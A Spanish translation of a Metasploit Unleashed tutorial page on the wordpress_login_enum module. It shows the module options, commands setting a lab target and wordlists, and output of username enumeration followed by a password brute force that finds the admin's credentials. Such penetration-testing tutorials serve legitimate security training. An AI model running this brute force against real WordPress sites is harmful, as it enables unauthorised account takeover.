Http/wordpress login enum
De www.metasploit-es.com.ar
El modulo auxiliar "wordpress_login_enum" realizara un ataque de fuerza bruta a una instalacion de WordPress, y primero determinara nombres de usuario validos y despues realizara un ataque de adivinacion de contraseña.
msf > use auxiliary/scanner/http/wordpress_login_enum msf auxiliary(wordpress_login_enum) > show options Module options (auxiliary/scanner/http/wordpress_login_enum): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true yes Try blank passwords for all users BRUTEFORCE true yes Perform brute force authentication BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads URI /wp-login.php no Define the path to the wp-login.php file USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_FILE no File containing usernames, one per line VALIDATE_USERS true yes Enumerate usernames VERBOSE true yes Whether to print output for all attempts VHOST no HTTP server virtual host
Configuramos el modulo primero apuntandolo a la ruta de wp-login.php en el servidor objetivo. Entonces definimos nuestros archivos con los nombres de usuario y contraseña, definimos el valor de RHOSTS y lo ejecutamos.
msf auxiliary(wordpress_login_enum) > set URI /wordpress/wp-login.php URI => /wordpress/wp-login.php msf auxiliary(wordpress_login_enum) > set PASS_FILE /tmp/passes.txt PASS_FILE => /tmp/passes.txt msf auxiliary(wordpress_login_enum) > set USER_FILE /tmp/users.txt USER_FILE => /tmp/users.txt msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.1.201 RHOSTS => 192.168.1.201 msf auxiliary(wordpress_login_enum) > run [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Running User Enumeration [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'administrator' [-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'administrator' [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'admin' [+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration- Username: 'admin' - is VALID [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'root' [-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'root' [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'god' [-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'god' [+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Found 1 valid user [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Running Bruteforce [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Skipping all but 1 valid user [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'' [-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin' [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'root' [-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin' [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'admin' [-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin' [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'god' [-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin' [*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'s3cr3t' [+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - SUCCESSFUL login for 'admin' : 's3cr3t' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(wordpress_login_enum) >
Podemos ver en la salida de arriba que el modulo es eficiente ya que solamente lanza contraseñas por fuerza bruta contra nombres de usuario validos, con lo cual nuestro escaneo nos devuelve un conjunto valido de credenciales.
© Offensive Security 2009
Original de www.offensive-security.com Traducido por cbk999
